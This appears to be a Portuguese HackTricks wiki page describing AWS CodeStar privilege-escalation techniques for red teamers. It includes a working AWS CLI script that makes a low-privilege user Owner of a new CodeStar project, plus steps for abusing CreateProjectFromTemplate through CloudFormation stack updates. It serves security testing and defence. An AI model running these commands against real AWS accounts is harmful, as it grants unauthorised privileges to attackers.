AWS - Codestar Privesc

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Codestar

Você pode encontrar mais informações sobre o codestar em:

pagecodestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Com essas permissões, você pode abusar de uma função IAM do codestar para realizar ações arbitrárias por meio de um modelo de cloudformation. Verifique a seguinte página:

pageiam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Essa técnica usa codestar:CreateProject para criar um projeto codestar e codestar:AssociateTeamMember para tornar um usuário IAM o proprietário de um novo projeto CodeStar, o que lhes concederá uma nova política com algumas permissões extras.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Se você já é um membro do projeto, você pode usar a permissão codestar:UpdateTeamMember para atualizar sua função para proprietário em vez de codestar:AssociateTeamMember

Impacto Potencial: Escalação de privilégios para a política codestar gerada. Você pode encontrar um exemplo dessa política em:

pagecodestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Criar um Novo Projeto:

  • Utilize a ação codestar:CreateProjectFromTemplate para iniciar a criação de um novo projeto.

  • Após a criação bem-sucedida, o acesso é concedido automaticamente para cloudformation:UpdateStack.

  • Esse acesso visa especificamente uma pilha associada à função IAM CodeStarWorker-<nome genérico do projeto>-CloudFormation.

  1. Atualizar a Pilha Alvo:

  • Com as permissões concedidas do CloudFormation, prossiga para atualizar a pilha especificada.

  • O nome da pilha geralmente seguirá um dos dois padrões:

  • awscodestar-<nome genérico do projeto>-infrastructure

  • awscodestar-<nome genérico do projeto>-lambda

  • O nome exato depende do modelo escolhido (consulte o script de exploração de exemplo).

  1. Acesso e Permissões:

  • Após a atualização, você obtém as capacidades atribuídas à função IAM do CloudFormation vinculada à pilha.

  • Observação: Isso não fornece inerentemente privilégios de administrador completo. Recursos adicionais mal configurados dentro do ambiente podem ser necessários para elevar os privilégios ainda mais.

Para mais informações, confira a pesquisa original: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Você pode encontrar a exploração em https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Impacto Potencial: Escalação de privilégios para a função IAM do cloudformation.

Aprenda hacking na AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización